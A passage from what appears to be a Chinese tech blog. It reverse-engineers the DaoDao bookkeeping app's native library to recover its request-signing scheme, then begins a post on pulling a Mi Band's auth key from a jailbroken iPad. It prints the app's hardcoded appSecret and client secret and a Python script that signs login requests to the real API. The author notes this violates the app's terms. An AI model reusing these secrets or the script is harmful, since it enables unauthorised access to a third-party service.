</span>stringBuilder3.append(str1);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span><span style="color:#ff7b72">catch</span><span style="color:#6e7681"> </span>(Exception<span style="color:#6e7681"> </span>exception)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>stringBuilder3.toString();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681"> </span></span></span></code></pre></div><p>这个 <code>Sign</code> 类也只是实现了一个简单的 getter å’Œ setter,只是在 <code>setValue</code> 的时候会对传入的参数进行 URL 编码。 代码中将 <code>appSercet</code> 拼入了上面传入的 ArrayList 中,并对 ArrayList 按键名进行了排序。</p> <p>后面事情就变得复杂起来了&hellip;&hellip; <code>Local local = new Local();</code> 实例化了 <code>Local</code> 类并调用了其 <code>code</code> 方法。<code>Local</code> 类是什么呢?是引入的一个 .so 库,我直接心肺停止。😫</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">class</span> <span style="color:#f0883e;font-weight:bold">Local</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">static</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>System.loadLibrary(<span style="color:#a5d6ff">&#34;native-lib&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">native</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">code</span>(ArrayList<span style="color:#ff7b72;font-weight:bold">&lt;</span>Sign<span style="color:#ff7b72;font-weight:bold">&gt;</span><span style="color:#6e7681"> </span>paramArrayList,<span style="color:#6e7681"> </span><span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>paramInt)<span style="color:#6e7681"> </span><span style="color:#ff7b72">throws</span><span style="color:#6e7681"> </span>IndexOutOfBoundsException;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681"> </span></span></span></code></pre></div><p>没办法了,硬着头皮上吧,当时说实话我心里也没底。</p> <h2 id="简简单单逆个-so大概">简简单单逆个 so(大概?</h2> <p>从解压的 APK 下找到 <code>lib/armeabi-v7a/libnative-lib.so</code>,拖进 IDA 里。</p> <p>从左侧的函数列表里找到 <code>Java_com_pengda_mobile_hhjz_encrypt_Local_code</code>,这就是我们 <code>Local</code> 类的 <code>code</code> 方法。<strong>祭出我唯一会的 F5 大法!</strong></p> <p><img src="https://github.red/images/2021/09/daodao-ida-f5.png" alt=""></p> <p>下面的 C 代码中有很多乱七八糟的强制类型转换,右键 <code>Hide casts</code> 隐藏掉它们。 然后我们来还原 JNI 的函数名。查资料发现有人说需要手动导入 jni.h 头文件,但又有人说其实 IDA 现在不需要了。</p> <p><img src="https://github.red/images/2021/09/daodao-ida-jni-before.png" alt=""> 可以看到 JNI 的指针入参 <code>a1</code> 被赋值给了变量 <code>v5</code>。选中 <code>v5</code>,按下 <code>Y</code>,输入 <code>JNIEnv*</code>,瞬间神清气爽!</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>v30 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetObjectClass</span>(a1, a3); </span></span><span style="display:flex;"><span>v23 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v30, <span style="color:#ff7b72;font-weight:bold">&amp;</span>dword_4234, <span style="color:#a5d6ff">&#34;(I)Ljava/lang/Object;&#34;</span>); </span></span><span style="display:flex;"><span>v4 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v30, <span style="color:#a5d6ff">&#34;size&#34;</span>, <span style="color:#a5d6ff">&#34;()I&#34;</span>); </span></span><span style="display:flex;"><span>v5 <span style="color:#ff7b72;font-weight:bold">=</span> a1; </span></span><span style="display:flex;"><span>v6 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallIntMethod</span>(a1, a3, v4); </span></span><span style="display:flex;"><span><span style="color:#d2a8ff;font-weight:bold">memset</span>(v35, <span style="color:#a5d6ff">0</span>, <span style="color:#ff7b72;font-weight:bold">&amp;</span>stru_2710); </span></span><span style="display:flex;"><span>v22 <span style="color:#ff7b72;font-weight:bold">=</span> v6; </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> ( v6 <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">1</span> ) </span></span><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span> v7 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">do</span> </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> v33 <span style="color:#ff7b72;font-weight:bold">=</span> v7; </span></span><span style="display:flex;"><span> v29 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, a3, v23); </span></span><span style="display:flex;"><span> v31 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetObjectClass</span>(a1, v29); </span></span><span style="display:flex;"><span> v8 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v31, <span style="color:#a5d6ff">&#34;getKey&#34;</span>, <span style="color:#a5d6ff">&#34;()Ljava/lang/String;&#34;</span>); </span></span><span style="display:flex;"><span> v9 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, v29, v8); </span></span><span style="display:flex;"><span> v34[<span style="color:#a5d6ff">0</span>] <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">1</span>; </span></span><span style="display:flex;"><span> v27 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetStringUTFChars</span>(a1, v9, v34); </span></span><span style="display:flex;"><span> v10 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(a1, v31, <span style="color:#a5d6ff">&#34;getValue&#34;</span>, <span style="color:#a5d6ff">&#34;()Ljava/lang/String;&#34;</span>); </span></span><span style="display:flex;"><span> v11 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(a1, v29, v10); </span></span><span style="display:flex;"><span> v12 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetStringUTFChars</span>(a1, v11, v34); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#d2a8ff;font-weight:bold">strcmp</span>(<span style="color:#a5d6ff">&#34;appSercet&#34;</span>, v27) ) </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">strcat</span>(v35, <span style="color:#a5d6ff">&#34;853a0bb675aa143e6fa2dc607d55a9bb&#34;</span>); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">else</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">strcat</span>(v35, v12); </span></span><span style="display:flex;"><span> v7 <span style="color:#ff7b72;font-weight:bold">=</span> v33 <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">1</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">while</span> ( v22 <span style="color:#ff7b72;font-weight:bold">!=</span> v33 <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">1</span> ); </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span>v13 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>a1)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">FindClass</span>(a1, <span style="color:#a5d6ff">&#34;java/security/MessageDigest&#34;</span>); </span></span><span style="display:flex;"><span>v14 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> ( v13 ) </span></span><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span> v15 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetStaticMethodID</span>(v5, v13, <span style="color:#a5d6ff">&#34;getInstance&#34;</span>, <span style="color:#a5d6ff">&#34;(Ljava/lang/String;)Ljava/security/MessageDigest;&#34;</span>); </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( v15 </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> (v16 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, <span style="color:#ff7b72;font-weight:bold">&amp;</span>dword_42D0), </span></span><span style="display:flex;"><span> v32 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallStaticObjectMethod</span>(v5, v13, v15, v16), </span></span><span style="display:flex;"><span> (v17 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v13, <span style="color:#a5d6ff">&#34;update&#34;</span>, <span style="color:#a5d6ff">&#34;([B)V&#34;</span>)) <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">0</span>) ) </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> v28 <span style="color:#ff7b72;font-weight:bold">=</span> v17; </span></span><span style="display:flex;"><span> v25 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">FindClass</span>(v5, <span style="color:#a5d6ff">&#34;java/lang/String&#34;</span>); </span></span><span style="display:flex;"><span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, <span style="color:#a5d6ff">&#34;utf-8&#34;</span>); </span></span><span style="display:flex;"><span> v26 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v25, <span style="color:#a5d6ff">&#34;getBytes&#34;</span>, <span style="color:#a5d6ff">&#34;(Ljava/lang/String;)[B&#34;</span>); </span></span><span style="display:flex;"><span> v18 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, v35); </span></span><span style="display:flex;"><span> v19 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(v5, v18, v26); </span></span><span style="display:flex;"><span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallVoidMethod</span>(v5, v32, v28, v19); </span></span><span style="display:flex;"><span> v20 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-&gt;</span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v13, <span style="color:#a5d6ff">&#34;digest&#34;</span>, <span style="color:#a5d6ff">&#34;()[B&#34;</span>); </span></span><span style="display:flex;"><span> v14 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( v20 ) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(v5, v32, v20); </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">else</span> </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">0</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> v14; </span></span></code></pre></div><p>到这里其实就已经比较清晰了。 首先对我们传入的 ArrayList 调用 <code>size()</code> 方法获取了其长度,然后为变量 <code>v35</code> 开辟内存。后面是一个 for 循环,遍历我们的 ArrayList 中每一个键值对。若 key 为 <code>appSercet</code> 则向 <code>v35</code> 拼接那段字符,否则就拼接本身的 value。 写成伪代码就是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>v35 = &#39;&#39; </span></span><span style="display:flex;"><span>for(i = 0; i &lt; arrayList.length; i++){ </span></span><span style="display:flex;"><span> if arrayList[i].getKey() == &#34;appSercet&#34;{ </span></span><span style="display:flex;"><span> v35 += &#34;853a0bb675aa143e6fa2dc607d55a9bb&#34; </span></span><span style="display:flex;"><span> } else { </span></span><span style="display:flex;"><span> v35 += arrayList[i].getValue() </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>但因为我们传入的 <code>appSercet</code> 值本身就是 <code>853a0bb675aa143e6fa2dc607d55a9bb</code>,所以这个判断其实可有可无。(同时它这里的 <code>Secret</code> 还拼错了&hellip;&hellip;)</p> <p>之后则是调用 <code>java.security.MessageDigest.getInstance()</code> 这个静态方法。这个方法需要传入加密的方式,即一个字符串。对应在上面就是使用 <code>NewStringUTF</code> 方法创建的字符串 <code>&amp;dword_42D0</code>。 问了下协会做二进制的同学,了解到 IDA 在这里未能分析出来这是个字符串,把它的类型错当成了 int。双击这个变量进入代码段,将其值 <code>0x35646D</code> 转为字符串为 <code>5dm</code>,即 <code>md5</code>。(咱也不知道为啥是倒过来的) 其实到这里后面就基本可以猜的出来了,后续的操作就是调用 <code>MessageDigest</code> ç»™ <code>v35</code> 字符串做 MD5 哈希。最后转成 bytes 返回,这部分改成 Java 代码为:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>MessageDigest<span style="color:#6e7681"> </span>md5Encoder<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>java.security.MessageDigest.getInstance(<span style="color:#a5d6ff">&#34;md5&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>md5Encoder.update(v35.getBytes());<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>md5Encoder.digest();<span style="color:#6e7681"> </span></span></span></code></pre></div><p>综上,so 中的 <code>code</code> 方法的整个逻辑十分简单——将传入的 ArrayList çš„ Value 拼接,再做一波 MD5:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>String<span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;&#34;</span>;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">for</span><span style="color:#6e7681"> </span>(<span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>index<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>0;<span style="color:#6e7681"> </span>index<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">&lt;</span><span style="color:#6e7681"> </span>paramArrayList.size();<span style="color:#6e7681"> </span>index<span style="color:#ff7b72;font-weight:bold">++</span>)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">if</span><span style="color:#6e7681"> </span>(paramArrayList.get(index).getKey().equals(<span style="color:#a5d6ff">&#34;appSercet&#34;</span>))<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">+=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#34;853a0bb675aa143e6fa2dc607d55a9bb&#34;</span>;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span><span style="color:#ff7b72">else</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">+=</span><span style="color:#6e7681"> </span>paramArrayList.get(index).getValue();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>MessageDigest<span style="color:#6e7681"> </span>md5Encoder<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>java.security.MessageDigest.getInstance(<span style="color:#a5d6ff">&#34;md5&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>md5Encoder.update(str.getBytes());<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span>arrayOfByte<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>md5Encoder.digest();<span style="color:#6e7681"> </span></span></span></code></pre></div><h2 id="简简单单写个-python">简简单单写个 Python</h2> <p>回到 jd-gui,剩下的看似复杂的循环遍历,<code>Integer.toHexString</code> 等等,其实就是在把上面返回的 <code>byte[]</code> MD5 转换成 <code>String</code>。</p> <p>至此,我们就已经梳理清楚了叨叨记账中,请求接口的 <code>sign</code> 参数是如何生成的。它之与 <code>nonce</code> å’Œ 当前时间戳有关,其余请求参数完全不参与签名,这也太捞了吧&hellip;&hellip;</p> <p>简简单单拿 Python 实现下,注意 <code>nonce</code> 虽然是随机字符串,但其貌似并不能重复,这里还是和 App 里一样,拼接上当前的毫秒时间戳。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">requests</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">time</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">hashlib</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>timestamp <span style="color:#ff7b72;font-weight:bold">=</span> str(int(round(time<span style="color:#ff7b72;font-weight:bold">.</span>time() <span style="color:#ff7b72;font-weight:bold">*</span> <span style="color:#a5d6ff">1000</span>))) </span></span><span style="display:flex;"><span>nonce <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#39;E99p1ant&#39;</span> <span style="color:#ff7b72;font-weight:bold">+</span> timestamp </span></span><span style="display:flex;"><span>appSecret <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">&#39;853a0bb675aa143e6fa2dc607d55a9bb&#39;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>sign <span style="color:#ff7b72;font-weight:bold">=</span> (appSecret <span style="color:#ff7b72;font-weight:bold">+</span> nonce <span style="color:#ff7b72;font-weight:bold">+</span> timestamp) </span></span><span style="display:flex;"><span>md5 <span style="color:#ff7b72;font-weight:bold">=</span> hashlib<span style="color:#ff7b72;font-weight:bold">.</span>md5() </span></span><span style="display:flex;"><span>md5<span style="color:#ff7b72;font-weight:bold">.</span>update(sign<span style="color:#ff7b72;font-weight:bold">.</span>encode(<span style="color:#a5d6ff">&#39;utf-8&#39;</span>)) </span></span><span style="display:flex;"><span>sign <span style="color:#ff7b72;font-weight:bold">=</span> md5<span style="color:#ff7b72;font-weight:bold">.</span>hexdigest() </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>resp <span style="color:#ff7b72;font-weight:bold">=</span> requests<span style="color:#ff7b72;font-weight:bold">.</span>post(<span style="color:#a5d6ff">&#39;https://api.daodao.cn/api/login&#39;</span>,data<span style="color:#ff7b72;font-weight:bold">=</span>{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;address&#39;</span>: <span style="color:#a5d6ff">&#39;&lt;REDACTED&gt;&#39;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;client_id&#39;</span>: <span style="color:#a5d6ff">&#39;daodao_ios&#39;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;client_secret&#39;</span>: <span style="color:#a5d6ff">&#39;daodao2018&#39;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;nonce&#39;</span>: nonce, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;password&#39;</span>: <span style="color:#a5d6ff">&#39;&lt;REDACTED&gt;&#39;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;sign&#39;</span>: sign, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#39;timestamp&#39;</span>: timestamp, </span></span><span style="display:flex;"><span>}) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>print(resp<span style="color:#ff7b72;font-weight:bold">.</span>json()) </span></span></code></pre></div><h2 id="简简单单封装个-go">简简单单封装个 Go</h2> <p>Python 验证完了,后面就是用 Go 实现了。 我开了个仓库,封装了一个 Go 版本的 SDK。 <a href="https://github.com/wuhan005/daodao-api">https://github.com/wuhan005/daodao-api</a></p> <p>实现了基本的账号登录、以及获取历史记账信息的接口,够凑合先用着了。😉 如果你足够 open,你甚至可以基于此写一个 badge 服务,将你的每日开销挂在你的 GitHub Profile 上。(我是不敢</p> <p>这也是我安卓第一次逆 so,以前都是看看 jar 基本就摸清楚整个请求了的。原理上对于各位 re 手来说可能过于容易了,但我还是从中学到了不少东西。</p> <p>当然,上述行为是绝对违反「叨叨记账」用户协议的:</p> <blockquote> <p>8.2 软件使用规范 8.2.1 除非法律允许或叨叨记账书面许可,你使用本软件过程中不得从事下列行为: 8.2.1.2 对本软件进行反向工程、反向汇编、反向编译,或者以其他方式尝试发现本软件的源代码;</p> </blockquote> <p>我先在此做个免责声明:本文仅供研究学习使用,由本文或者本项目所引发的一切责任,本人均不承担。</p> <p>当然如果是我号没了那就直接卸载不用了,这波咱也不亏。😈</p>Your Soul, Your Beats! —— 小米手环实时心率采集https://github.red/miband-heart-rate/Sun, 13 Jun 2021 19:15:40 +0800https://github.red/miband-heart-rate/<p>上周吃完饭后去协会坐了会,听 Kevin 说华为手环可以向官方提交申请,从而获得手环的数据访问权限。他还提到之前就有 Vtuber 直播恐怖游戏时,画面上会显示实时心率以增强节目效果。 这确实是个很 Geek 很酷的玩法哦!要是我能将我的实时心率展示在我的 GitHub Profile 上,岂不是帅炸了!</p> <p>说做就做!晚上回到宿舍后我大致搜索了下目前市面上的手环以及其二开的难度,最后选择了小米手环 6 NFC 版。 原以为像这种手环至少得八九百,没想到 NFC 版才 279!直接京东下单! <img src="https://github.red/images/2021/06/JD_MiBand_500x.jpg" alt=""></p> <p>第二天早上快递就送到了。恰逢学校体测,我试着带上手环跑了 1000 米,在小米官方的小米运动 App 上能看到心率检测的效果还不错,只是我自己散步一样地“跑”了五分钟太拉胯了。</p> <h2 id="数据从何而来">数据从何而来?</h2> <p>那么接下来就来看下我们应该如何拿到心率数据吧。 首先需要思考的问题是我们的数据从何处获得。小米手环与手机连接时,会将相关信息同步至小米运动 App,我们当然可以对这个 App 抓个包拿到接口,请求小米的服务器获取我们的数据。但这绕了整整一圈可太麻烦了,手环就戴在我手上,为何不直接通过蓝牙连接手环读取数据呢? 这就是我的思路,我想直接在通过蓝牙协议与小米手环进行通信,获取真正的“一手数据”。 考虑到使用 iPhone 与手环建立长连接通信的话,iOS 应用保活方面估计会有一堆麻烦事,况且写 Swift 不如让我去死。不如直接在 MacBook 上跑个后台进程一直用蓝牙与手环交互来的方便。反正我 Mac 也基本是随身带的。😁</p> <h2 id="获取小米手环-auth-key">获取小米手环 Auth Key</h2> <p>心率信息并不像设备的电池电量、时间信息等直接就能获得,在通过蓝牙获取小米手环的心率信息之前,是需要先与手环进行验证的。 验证的步骤大致如下:</p> <ol> <li>向小米手环请求一个随机数。</li> <li>接收到随机数后,使用该手环的 Auth Key 对随机数进行 AES 对称加密。</li> <li>将加密后的信息发回给手环。</li> <li>验证通过。</li> </ol> <p>对于 Android 手机而言,获取 Auth Key 的方法十分简单(大概): 访问这个网站:<a href="http://www.freemyband.com/">http://www.freemyband.com/</a> 并根据页面上的指引,下载一个魔改过的小米运动 App,打开后与手环配对,之后就可以在手机 <code>/sdcard/freemyband</code> 目录获取到手环的 Auth Key。</p> <p>可惜我的老旧安卓机十分的垃圾,它的配置跑不起来上文中提到的 App,因此以上步骤我并未实际测试过。最后我是使用一台越狱的 iPad 进行操作。 我在 iPad 上安装好小米运动的 App,与小米手环成功配对后。SSH 连上 iPad,在</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/mobile/Containers/Data/Application/&lt;MiFit_App_UUID&gt;/Documents </span></span></code></pre></div><p>目录下找到了 <code>HMDBDeviceInfoDataBaseV2.sqlite</code> 这样一个 SQLite 数据库,<code>scp</code> 将其拖到电脑上打开,在 <code>device_info</code> 表的 <code>deviceOAuthKey</code> 字段中获取到了手环的 Auth Key。</p> <p><img src="https://github.red/images/2021/06/MiFit_SQLite.png" alt=""></p> <p>该 Auth Key 